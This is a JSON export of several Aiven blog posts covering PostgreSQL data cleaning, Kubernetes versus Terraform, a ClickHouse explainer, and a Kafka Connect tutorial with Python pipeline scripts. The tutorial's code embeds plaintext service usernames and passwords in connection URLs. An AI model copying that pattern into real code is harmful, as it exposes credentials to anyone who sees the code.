for a solid base for data discovery or corporate reporting.\n\nSome more info:\n* [Aiven for PostgreSQL](https://aiven.io/postgresql): all the info about Aiven's offering\n* [Aiven PostgreSQL supported extensions](https://help.aiven.io/en/articles/489561-supported-postgresql-extensions): browse the extensions we support\n* [pandas](https://pandas.pydata.org/), [ddlgenerator](https://github.com/catherinedevlin/ddl-generator) and [psycopg2](https://www.psycopg.org/): documentation about the libraries used\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [Using PostgreSQL® JSON functions to navigate reviews of restaurants in India](https://aiven.io/blog/pg-json-indian-restaurants)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-9add742a5637d7fae58022b4629e75706b414897-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-23T00:00:00.000Z","seo":{"metaDescription":"The world and the data in it are seldom perfect. Read to find out how to clean up the data in your PostgreSQL® database so that it's usable for analysis.","metaImage":{"alt":"","asset":{"_ref":"image-9add742a5637d7fae58022b4629e75706b414897-1567x844-png","_type":"reference"}},"metaTitle":"The pursuit of happiness with Python and PostgreSQL®"},"slug":{"_type":"slug","current":"/blog/the-pursuit-of-happiness-with-python-and-postgresql"},"subtitle":"The world and the data in it are seldom perfect. Read to find out how to clean up the data in your PostgreSQL® database so that it's usable for analysis.","title":"The pursuit of happiness with Python and PostgreSQL®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6hwk9OFwjubnCEArcbNBJy","_rev":"5y7swPKAcYPWMoG0mxxswo","_type":"post","_updatedAt":"2024-08-09T09:49:57Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Tools don't like to fight, but people love to set them up for \"X-tool vs. Y-tool\" grudge matches, thinking that's how you cover them in pride and glory. This blog sheds light on two of the heavy-weight contenders in the DevOps world and makes an attempt to clarify some common misconceptions. If you understand databases and data engineering but struggle to understand when to use Kubernetes and when to use Terraform for your data infrastructure, read along.\n\n## Kubernetes vs. Terraform - what's the difference?\n\nBoth Kubernetes and Terraform are open-source projects in the DevOps space. While _Kubernetes is an orchestration tool_ for managing containers, _Terraform lets you define your infrastructure as code_, whether your applications run as containers or a giant monolith. A minimum entry fee for using Kubernetes is using containers. But when you run your applications as containers, who sets up the underlying infrastructure for you (compute, storage, and network)? Your applications do not run on thin air. In the pre-Terraform-era, a SysAdmin would write scripts or Ansible playbooks to stand up and configure virtual machines and/or bare-metal servers. With Terraform, you can declare how you plan the application/data infrastructure, and Terraform executes based on your plan.\n\nYou can use both these tools at once: Terraform to create/manage your infrastructure, Kubernetes to manage the containers that house your applications.\n\n## Orchestrate and automate\n\nFrom an application perspective, tools like Kubernetes and Terraform complement each other. Both tools allow you to declaratively define your system, and they execute to match the running system to what's defined in code. They also offer modularity and reusability for your system as a whole or parts of it. This way, you can copy the exact same infrastructure multiple times while only writing it once.\n\nFrom a data perspective, Terraform can also help provision and manage stateful infrastructure. Whether it's a database or a streaming platform, you can specify the exact configuration and Terraform takes care of the underlying dependency and networking to stand up your data infrastructure.\n\n*Kubernetes operators* make it easier to define custom resources like databases and streaming platforms in Kubernetes. By using Kubernetes's built-in scheduling feature, you can also use these operators to create and manage your data infrastructure in a declarative way.\n\n## Kubernetes and Terraform to provision your data infrastructure on Aiven\n\nNow that you understand the power of Kubernetes and Terraform, let's have a look at how you can use them to provision your data infrastructure on Aiven. Both of them have Aiven integrations: the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) and the [Aiven Operator for Kubernetes](https://aiven.github.io/aiven-operator/) offer ways to create your data resources programmatically. With Aiven offering an intuitive web console, powerful CLI, and these two DevOps tools, how do you choose which tool to use for your business?\n\nIf you're already familiar with Terraform and use it to provision other infrastructure resources, the _Aiven Terraform Provider_ can be a perfect choice. You can use your existing skillset to create and manage Aiven resources. The Terraform provider is also good for doing dry-runs of your infrastructure provisioning to preview the resources that it will create. Terraform also takes care of the underlying dependencies of the resources you define. This means that Terraform will know which Aiven resource to create first, as other resources might be dependent upon it.\n\nThe _Aiven Operator for Kubernetes_, on the other hand, makes sense if you already have your applications running on Kubernetes and need a single control plane to manage both application and data resources. Currently, this operator only supports _Aiven for PostgreSQL®_ and _Aiven for Apache Kafka®_. If you choose this tool, you can benefit from Kubernetes's self-healing and auto-scaling properties.  \n\n## Further reading\n\nAs two of the most popular open-source projects, both Kubernetes and Terraform have their own use cases for deploying, monitoring, upgrading, backing up, and restoring services. Terraform uses [providers](https://www.terraform.io/language/providers) to work with virtually any platform or service with an accessible API.\n\n::banner[Each “recipe” includes an architecture diagram and the Terraform sample code you need to build the setup yourself.]{ctaText=\"Explore all the recipes!\" ctaLink=\"https://aiven.io/docs/tools/terraform/reference/cookbook.html\" title=\"Aiven Terraform Cookbook\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48.svg\" theme=\"dark\"}\n\nCheck out some more articles to learn more about these tools and how you can automate the provisioning of your data infrastructure:\n\n- [Aiven Terraform Provider - Developer Docs](https://aiven.io/docs/tools/terraform/index.html)\n- [Aiven Operator for Kubernetes - Developer Docs](https://aiven.io/docs/tools/kubernetes.html)\n- All [Development Operations](https://aiven.io/devops) \n\nAnd while you're at it, have a look at how Aiven works with Kubernetes in [Navigating your Kubernetes logs with Aiven](https://aiven.io/blog/navigating-your-kubernetes-logs-with-aiven \"Navigating your Kubernetes logs with Aiven | Aiven Blog\"), or with Terraform in [Aiven databases with Terraform for fun and profit](https://aiven.io/blog/aiven-databases-and-terraform-for-fun-and-profit \"Aiven databases with Terraform for fun and profit | Aiven Blog\")\n\n\n\u003c!-- \"What is Terraform\" blog (which is in-progess) can be linked later --\u003e\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"2q1kxdEuQtJX4PDTtjnfGe","_ref":"2q1kxdEuQtJX4PDTtjnfGe","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-37cce003a68942ef20983c0192bc792cb09b9b94-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-18T00:00:00.000Z","related":[{"_key":"856763fdde4c","_ref":"5zWKp0rhzV1I4NDDIPRdh0","_type":"reference"},{"_key":"2e94c9090a8b","_ref":"5gTp13pYjOThOf6JmmuhGu","_type":"reference"},{"_key":"49976b9ebea6","_ref":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Read a blow-by-blow analysis of 2 heavyweights in the world of DevOps: Kubernetes vs Terraform. When should you bet on Terraform, and what calls for Kubernetes?","metaImage":{"alt":"","asset":{"_ref":"image-37cce003a68942ef20983c0192bc792cb09b9b94-1567x844-png","_type":"reference"}},"metaTitle":"Kubernetes vs. Terraform | When to use which?"},"slug":{"_type":"slug","current":"/blog/kubernetes-vs-terraform"},"subtitle":"Read a blow-by-blow analysis of two of the heavyweights in world of DevOps: when should you bet on Terraform, and what calls for Kubernetes?","title":"Kubernetes vs. Terraform"}
{"__i18n_lang":"en","_createdAt":"2022-09-17T21:00:14Z","_id":"3GyNnm0QehTAFfDtVvylqP","_rev":"m47zVAKzspt7UjVx7zFK49","_type":"post","_updatedAt":"2024-08-05T12:01:17Z","authors":[{"_key":"3UGFZYFBoYjMPg7DR9R9YZ","_ref":"3UGFZYFBoYjMPg7DR9R9YZ","_type":"reference"}],"body":"Speed is the key to success of our products, applications, solutions. Instead of guessing your next step, data can navigate your path faster to complex business decisions. Today we want to introduce you to a solution designed to get to the bottom of storing and analyzing big data: ClickHouse.\n\nClickHouse is a highly scalable open source database management system (DBMS) that uses a column-oriented structure. It's designed for online analytical processing (OLAP) and is highly performant. ClickHouse can return processed results in real time in a fraction of a second. This makes it ideal for applications working with massive structured data sets: data analytics, complex data reports, data science computations...\n\nClickHouse is most praised for its exceptionally high performance. That performance comes from a sum of many factors:\n- Column-oriented data storage\n- Data compression\n- The vector computation engine\n- Approximated calculations\n- The use of physical sparse indices\n\nBut performance isn't the only benefit of ClickHouse. ClickHouse is more than a database, it's a sophisticated database management system that supports distributed query processing, partitioning, data replication and sharding. It's a highly scalable and reliable system capable of handling terabytes of data.\n\nIn fact, ClickHouse is designed to write huge amounts of data and simultaneously process a large number of reading requests. And you can conveniently use a declarative SQL-like query language.\n\n## Main features of ClickHouse\n\n ClickHouse has a booming development community and continues to be actively developed and improved. You can look at [the changelog](https://clickhouse.com/docs/en/whats-new/changelog/) and [their road map](https://clickhouse.com/docs/en/whats-new/roadmap/) to see the latest features and future plans. Even with fast growth of the system, every new feature is evaluated performance-wise to make sure it doesn't affect the speed of the system.  And many of existing biggest features of ClickHouse are particularly aimed at enhancing its performance and efficiency.\n\n### Column-oriented DBMS\n\nAs a truly columnar database, ClickHouse stores the values of the same column physically next to each other with no extra data attached to each value. This matters when even an insignificant amount of extra data (such as length of a string, for example) attached to hundreds of millions of items in the column, substantially affects the speed of compression, decompression and reads.\n\n### Data compression\n\nTo achieve desired performance ClickHouse uses data compression. This includes general-purpose compression, as well as a number of specialised codecs targeting different types of data stored in separate columns.\n\n### Query processing across multiple servers\nClickHouse supports distributed query processing with data stored across different shards. Large queries are parallelized across multiple cores and use resources they need.\n\n### SQL query syntax\nClickHouse supports SQL syntax similar to ANSI SQL. However, it is not identical, so a migration from another SQL-compatible system might require translations.\n\n### Vector computation engine\nDuring data processing, ClickHouse works with chunks of columns (so-called vectors) and operations are performed on the arrays of items, rather than on individual values.\n\n### No database locks\nClickHouse updates tables continually without relying on locks when adding new data.\n\n### Primary and data skipping indices\nClickhouse keeps data physically sorted by primary key. Secondary indices (also called \"data skipping indices\") indicate in advance which data won't match filtering criteria and should be skipped (therefore, the name).\n\n### Approximated calculations\nTo gain farther performance boost, for complex queries you can perform calculations on the sample of data finding a trade-off between accuracy and performance. This is relevant, for example, for complex data science calculations.\n\n\u003c!-- Olena to Auri: The paragraph below was changed to  \"While ClickHouse can be an excellent choice for many scenarios, its special architectural characteristics aren't the easiest to work with. You have to work *with* them for ClickHouse to reach its full potential.\" However, some wording (especially \"its special architectural characteristics aren't the easiest to work with\") is not exactly correct to my ear. My point was that uts architectural characteristics make it easy to misuse ClickHouse. I brought back the old version, but I'm fine changing it again --\u003e\n\nWhile ClickHouse can be an excellent choice for many scenarios, it's important to keep in mind its architectural characteristics. Because ClickHouse is pretty unique, it's easy to make mistakes that lead to sub-optimal performance. That's why it is important to understand what stands behind this DBMS and how it functions.\n\nLet's start by looking at its most distinguishable feature - column-oriented structure of the storage.\n\n## Why a column-oriented database management system?\n\nTo understand better where the need for the column-oriented approach is coming from and why ClickHouse uses it, let's take a closer look at two different types of systems: Online Transaction Processing (OLTP) and Online Analytical Processing (OLAP). In particular, pay attention to granularity with which they manipulate the data and to the types of operations that are prevalent in these systems.\n\n\u003c!-- Added some subheadings --\u003e\n\n### OLTP: Online Transaction Processing\n\nOLTP applications perform small but very frequent operations to insert, update and select a modest numbers of rows. In this type of applications we traditionally use row-oriented approach as the most effective way to work with entire individual rows.\n\n### OLAP: Online Analytical Processing\n\nOLAP systems are a completely different thing - operations do not target single lines - instead, we work with hundreds of thousands and even millions of records at a time, relying on grouping and aggregation mechanisms. Data in OLAP systems is represented by events and rarely needs to be updated. And, what is important, usually only a fraction of fields is necessary to be retrieved and processed at a time. This makes it very inefficient to read complete rows, like row-oriented systems do.\n\nThe bottom line is, in OLTP applications records are being stored for an easy update of individual rows, while in OLAP systems, data is stored primarily for fast read and analysis of massive chunks of data.\n\nTherefore, the row-oriented DBMS could not effectively manage analytical processing of data volumes typical to OLAP applications.\n\n### OLAP and column-oriented systems\n\nColumn-oriented systems were designed to solve OLAP challenges. In truly columnar databases, the data is physically grouped and stored by columns. This minimizes disk access and improves performance, because processing a specific query only requires reading a fraction of the data. Since each column contains data of the same type, it can use effective compression mechanisms.\n\nAdditionally, the columnar approach allows adding or removing new columns with no performance overhead, since it means simply creating or deleting files. In contrast, adding a new column in a row-oriented database would require updating the data in every row.\n\nUnderstanding the difference between OLAP and OLTP systems, and the distinction between row and columnar approaches is key when making a decision weather to use ClickHouse or not. In the next section we'll look into how this relates to specific system requirements, and what you should pay attention to when making a decision to adopt ClickHouse.\n\n## When to use ClickHouse\n\nIf used correctly and in suitable scenarios, ClickHouse is a powerful, scalable and fast solution that outperforms its competitors. ClickHouse is made for OLAP applications, and includes a number of optimizations to read data and process complex requests at high speeds.\n\nYou'll get the most out of ClickHouse if:\n\n- you work with enormous volumes of data (measured in terabytes) continuously written and read;\n- you have tables with the massive number of columns (ClickHouse loves large numbers of columns!), but column values are reasonably short;\n- your data is well-structured and not yet aggregated;\n- you insert data in large batches over thousands of lines, a million is a good number;\n- the vast majority of operations are reads with aggregations;\n- for reads, you process large number of rows, but fairly low number of columns;\n- you don't need to modify data later;\n- you don't need to retrieve specific rows;\n- you don't need transactions.\n\nFor example, Yandex uses over 500 servers with 25 million records coming each day. Another company that uses ClickHouse, Bloomberg, has over a hundred of servers and accepts approximately a trillion new records each day (as of data from 2018).\n\n## When not to use ClickHouse\n\nClickHouse is designed to be fast. However, the optimisations that make ClickHouse the perfect solution for OLAP applications make it suboptimal for other types of projects.\n\nDo not use ClickHouse for OLTP. ClickHouse expects data to remain immutable. Even though it is technically possible to remove big chunks of data from the ClickHouse database, it is not fast. ClickHouse simply isn't designed for data modifications. It's also inefficient at finding and retrieving single rows by keys, due to sparse indexing. Lastly, ClickHouse does not fully support ACID transactions.\n\nClickHouse is not a key-value DBMS. It is also not designed to be a file storage.\n\nIt's not a document-oriented database, either. ClickHouse uses a pre-defined schema that needs to be specified during table creation. The better the schema, the more effective and performant are the queries.\n\n## How to get started\n\nI hope that this got you intrigued about ClickHouse and its superpowers. And maybe you wonder how you can start using it on your own. ClickHouse is an open source project and you can follow its documentation to build it yourself.\n\nHowever, we know that setting up and maintaining ClickHouse cluster can be quite a challenge. Ensuring proper replication of data, fault-tolerance, stability takes plenty of time and energy. That's why Aiven has decided to offer Aiven for ClickHouse, which will provide you with benefits of ClickHouse without the headache overload.\n\nWith Aiven for ClickHouse, you can focus on the product you are building, and we'll keep the underlying infrastructure running so smoothly that you can totally forget about it.\n\n__So, how can you set up Aiven for ClickHouse?__\n\nSelect Aiven for ClickHouse in the Aiven Console when creating a new service. (Read detailed instructions [in our Getting Started documentation](https://aiven.io/docs/products/clickhouse/get-started). \n\nOnce the server is up and running (which happens in just a couple of minutes), [add some test data](https://aiven.io/docs/products/clickhouse/get-started) and see how you can work [with users](https://aiven.io/docs/products/clickhouse/howto/manage-users-roles), [tables and databases](https://aiven.io/docs/products/clickhouse/concepts). \n\nTo dive deeper and understand how indexing and data processing works in Clickhouse, [check out this Indexing article](https://aiven.io/docs/products/clickhouse/concepts/indexing.html).\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\u003ca id=\"toc\"\u003e\u003c/a\u003e\n1. [Wrapping up](#wrapping-up)\n\nimage links: [![image alt](image url)](link)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"4Ys3OINPj3glC5uOMr5dqF","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-14T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Big data can help you reach complex business decisions. Find out how ClickHouse is designed to get to the bottom of big data processes.","metaImage":{"alt":"","asset":{"_ref":"image-314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844-png","_type":"reference"}},"metaTitle":"What is ClickHouse®? | Everything you need to know for ClickHouse"},"slug":{"_type":"slug","current":"/blog/what-is-clickhouse"},"subtitle":"Big data can help you reach complex business decisions. Find out how ClickHouse is designed to get to the bottom of big data processes.","title":"What is ClickHouse®?"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5tld920hohmoFmHBy75NCm","_rev":"on5KSabgAN0raW406ZJOSZ","_type":"post","_updatedAt":"2024-02-09T09:47:16Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"We're delighted to announce public preview for Kafka Connect support for Aiven for Apache Kafka. During preview, Kafka Connect is available at no extra cost as part of all Aiven for Apache Kafka Business and Premium plans. We're launching with support for OpenSearch connector, and will soon follow with S3 and other connectors.\n\n### Kafka Connect\n\nKafka Connect is a framework for linking Kafka with other services. It makes it simple to define and configure _connectors_ to reliably and scalably stream data between different systems. Kafka Connect provides a standard API for integration, handles offset management and workload distribution automatically.\n\nYou can define and configure individual connectors via the Kafka Connect REST interface.\n\n### Case example - IoT Device Shadow\n\nA customer of ours is using Aiven for Apache Kafka for capturing telemetry from a fleet of IoT devices. To that end, Aiven for Apache Kafka has proven to be a scalable and flexible pipeline for capturing and distributing traffic for processing.\n\nDuring the past month, we've worked together to support a new use case: maintaining a \"device shadow\" or a latest state update in OpenSearch. This copy allows developers to query and access device states regardless whether the devices are currently online and connected or not.\n\nWe built this new pipeline together with Kafka Connect and OpenSearch Connector. You can follow these steps to set up a similar pipeline.\n\n### Getting started: Launching Kafka and OpenSearch services\n\nCreate an Aiven for Apache Kafka service and create your topics for the incoming traffic. In this example, we'll be using Business-4 plan for the service and 16 partitions to accommodate for the client load.\n\nFirst we'll launch a Kafka cluster from the Aiven Console. This cluster will receive the state updates from the IoT devices. A fairly low-spec cluster will work for this use case and we will launch it in one of the AWS regions:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6b7f6d009757279a33e238f7498422c3da79b6e6-640x460.png)\n\nNext, we'll create a Kafka topic for our data under the Topics tab.\n\nWe chose 16 partitions in this example, but you should select a number that matches with your workload. A larger number allows for higher throughput to support, but on the other hand increases resource usage on both the cluster as well as the consumer side. Contact us if unsure, we can help you to find a suitable plan.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/2231ca3cd7609a5df1749722e9cec4609f10310e-640x460.png)\n\nWe will also need an OpenSearch cluster for the device shadow data. We'll choose a three-node cluster with 4 GB memory in each node. Make note of the OpenSearch Service URL, which we'll use with the Kafka Connector configuration in the next steps.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/2ac9db3543f269327fe753ff09dcd663beda041d-640x460.png)\n\nWe'll need to enable Kafka Connect by clicking the \"Enable\" button next to it in the service view. We also make a note of Kafka Connect access URL, which we will need in the following steps.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6e01bc7190b198950411b6e165f1a9d7e62be94d-640x460.png)\n\n### Setting up the pipeline with scripts\n\nWe'll be using a couple of Python code snippets to configure our data pipeline. We've downloaded the project and Kafka access certificates as ca.pem, service.cert and service.key to a local directory from the Kafka service view.\n\nYou can refer to startup guides for both [Aiven Kafka](https://help.aiven.io/en/articles/489572-getting-started-with-aiven-kafka) and [Aiven OpenSearch](https://help.aiven.io/en/articles/489571-getting-started-with-aiven-elasticsearch) for details on setting up the environment.\n\nHere's our first snippet named query_connector_plugins.py for finding out the available connector plugins:\n\n```python\nimport requests\n\nAIVEN_KAFKA_CONNECT_URL = \"https://avnadmin:m9jyevsaehezqs36@gadget-kafka.htn-aiven-demo.aivencloud.com:22142\"\n\nresponse = requests.get(\"{}/connector-plugins\".format(AIVEN_KAFKA_CONNECT_URL))\nprint(response.text)\n```\n\nBy running the script we can find out the available connector plugins:\n```\n$ python3 query_connector_plugins.py\n[{\"class\":\"io.confluent.connect.elasticsearch.ElasticsearchSinkConnector\"}]\n```\n\nTo get started with the pipeline configuration, we'll pre-create an OpenSearch index with a schema to meet our needs with script name create_elastic_index.py:\n\n```python\nimport json\nimport requests\n\nAIVEN_ELASTICSEARCH_URL = \"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\"\n\nmapping = {\n    \"settings\": {\n        \"number_of_shards\": 16\n    },\n    \"mappings\": {\n        \"kafka-connect-gadget-telemetry\": {\n            \"properties\": {\n                \"location\": {\n                    \"type\": \"string\"\n                },\n                \"temperature\": {\n                    \"type\": \"integer\"\n                },\n                \"timestamp\": {\n                    \"type\": \"date\"\n                }\n            }\n        }\n    }\n}\n\nresponse = requests.put(\n    \"{}/gadget-telemetry?pretty=true\".format(AIVEN_ELASTICSEARCH_URL),\n    headers={\"content-type\": \"application/json\"},\n    data=json.dumps(mapping),\n    verify=\"ca.pem\",\n)\n\nprint(response.text)\n```\n\nNext, we'll run the script and the Elasticsearch index is created:\n\n```\n$ python3 create_elastic_index.py\n{\n    \"acknowledged\" : true,\n    \"shards_acknowledged\" : true\n}\n```\n\nHere's how we create and configure the actual Elasticsearch Connector to link our telemetry topic and Elasticsearch with a script named create_es_connector.py:\n\n```python\nimport requests\nimport json\n\nAIVEN_KAFKA_CONNECT_URL = \"https://avnadmin:m9jyevsaehezqs36@gadget-kafka.htn-aiven-demo.aivencloud.com:22142\"\nAIVEN_ELASTICSEARCH_URL = \"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\"\n\nconnector_create_request = {\n    \"name\": \"gadget-es-sink\",\n    \"config\": {\n        \"connection.url\": AIVEN_ELASTICSEARCH_URL,\n        \"connector.class\": \"io.confluent.connect.elasticsearch.ElasticsearchSinkConnector\",\n        \"tasks.max\": 3,\n        \"topics\": \"gadget-telemetry\",\n        \"type.name\": \"kafka-connect-gadget-telemetry\"  # This points to the created ES mapping\n    }\n}\n\nresponse = requests.post(\n    \"{}/connectors\".format(AIVEN_KAFKA_CONNECT_URL),\n    headers={\"Content-Type\": \"application/json\"},\n    data=json.dumps(connector_create_request)\n)\nprint(response.text)\n```\n\nAnd enable the Connector by running the script:\n\n```\n$ python3 create_es_connector.py\n{\"name\":\"gadget-es-sink\",\"config\":{\"topics\":\"gadget-telemetry\", \"type.name\":\"kafka-connect-gadget-telemetry\", \"tasks.max\":\"3\", \"connector.class\":\"io.confluent.connect.elasticsearch.ElasticsearchSinkConnector\", \"connection.url\":\"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\", \"name\":\"gadget-es-sink\"}, \"tasks\":[]}\n```\n\nNext, we're going to send some simulated telemetry data to test everything out:\n\n```python\nfrom kafka import KafkaProducer\nimport datetime\nimport json\nimport random\n\nAIVEN_KAFKA_URL = \"gadget-kafka.htn-aiven-demo.aivencloud.com:22144\"\nLOCATIONS = [\"arizona\", \"california\", \"nevada\", \"utah\"]\n\nproducer = KafkaProducer(\n    bootstrap_servers=AIVEN_KAFKA_URL,\n    security_protocol=\"SSL\",\n    ssl_cafile=\"ca.pem\",\n    ssl_certfile=\"service.cert\",\n    ssl_keyfile=\"service.key\",\n)\n\nfor i in range(10):\n    device_name = \"gadget_{}\".format(i)\n    telemetry = {\n        \"location\": random.choice(LOCATIONS),\n        \"temperature\": random.randint(40, 120),\n        \"timestamp\": datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n    }\n    key = device_name.encode(\"utf-8\")\n    payload = json.dumps(telemetry).encode(\"utf-8\")\n    producer.send(\"gadget-telemetry\", key=key, value=payload)\n\n# Wait for all messages to be sent\nproducer.flush()\nprint(\"Done, sent {} messages\".format(i))\n```\n\nNow we execute the script:\n\n```\n$ python3 submit_telemetry.py\nDone, sent 10 messages\n```\n\n### Exploring the data with OpenSearch dashboards\n\nAll of our Elasticsearch plans include integrated Kibana, which can be a handy tool for exploring and/or visualizing the data too. We can easily verify that our telemetry is flowing all the way to our Elasticsearch instance.\n\nClicking the Kibana link under the Elasticsearch service information page opens a view to OpenSearch dashboards. We are greeted with a configuration page where we enter the name of our Elasticsearch index created in one of the earlier steps:\n\n![](//cdn.sanity.io/images/sczeoy4w/production/3c88f094bbf36b322dbbb1606216916436e20071-640x460.png)\n\nDefault discovery view on our sample data. The default view lists our entries. Since we're using keyed messages and the entry is always replaced with the latest entry, the timeline view will show only the timestamp of the last reception.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/6da5a2f6735dde0b58dd6f82fe743b2b7be0d939-640x460.png)\n\n### Accessing data in Elasticsearch\n\nThe real value of the new pipeline is realized with the ability to query for device information from Elasticsearch. In the Elasticsearch example query script (query_elasticsearch.py) below, we'll query for all devices that last reported from Arizona:\n\n```python\nimport requests\nimport json\n\nAIVEN_ELASTICSEARCH_URL = \"https://avnadmin:in9zvfjaio32m0qy@gadget-elastic.htn-aiven-demo.aivencloud.com:24185\"\n\nresponse = requests.get(\n    \"{}/_search?q=location:arizona\u0026pretty=true\".format(AIVEN_ELASTICSEARCH_URL),\n    verify=\"ca.pem\"\n)\n```\n\n```python\nprint(response.text)\n```\n\nRunning the script show the list of active gadgets in the target region:\n\n```\n$ python3 query_elasticsearch.py\n```\n\n```python\n{\n    \"took\" : 7,\n    \"timed_out\" : false,\n    \"_shards\" : {\n        \"total\" : 4,\n        \"successful\" : 4,\n        \"failed\" : 0\n    },\n    \"hits\" : {\n        \"total\" : 2,\n        \"max_score\" : 1.3862944,\n        \"hits\" : [\n            {\n                \"_index\" : \"gadget-telemetry\",\n                \"_type\" : \"kafka-connect-gadget-telemetry\",\n                \"_id\" : \"gadget_2\",\n                \"_score\" : 1.3862944,\n                \"_source\" : {\n                    \"temperature\" : 114,\n                    \"location\" : \"arizona\",\n                    \"timestamp\" : \"2017-12-06T13:55:01Z\"\n                }\n            },\n            {\n                \"_index\" : \"gadget-telemetry\",\n                \"_type\" : \"kafka-connect-gadget-telemetry\",\n                \"_id\" : \"gadget_5\",\n                \"_score\" : 1.2039728,\n                \"_source\" : {\n                    \"temperature\" : 45,\n                    \"location\" : \"arizona\",\n                    \"timestamp\" : \"2017-12-06T13:55:01Z\"\n                }\n            }\n        ]\n    }\n}\n```\n\nThe above example is easily extended to query data by a certain temperature threshold, location or time of the last update. Or, if we want to check the state of a single device, we now have the latest state available by its ID.\n\n### Summary\n\nIn this example, we built a simple telemetry pipeline with Kafka, Kafka Connect and Elasticsearch. We used Elasticsearch connector, which is the first connector we support with Aiven Kafka. We'll be following up with S3 connector shortly with others to follow.\n\nGet in touch if we could help you with your business requirement!\n\n### Give Aiven services a whirl\n\nRemember that trying Aiven is free: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans. The offer works for all of our services: PostgreSQL, Redis, Grafana, Elasticsearch and Kafka!\n\nGo to [aiven.io](https://aiven.io/) to get started!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2017-06-20T10:35:00.001Z","seo":{"_type":"metaData","metaDescription":"Kafka Connect is now available in preview from Aiven. Find out which connectors we’re starting with and how to set them up.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Kafka Connect Preview | Elevate data connectivity | Aiven"},"slug":{"_type":"slug","current":"/blog/kafka-connect-preview"},"subtitle":"Kafka Connect is now available in preview from Aiven. Find out which connectors we’re starting with and how to set them up.","title":"Kafka Connect Preview"}
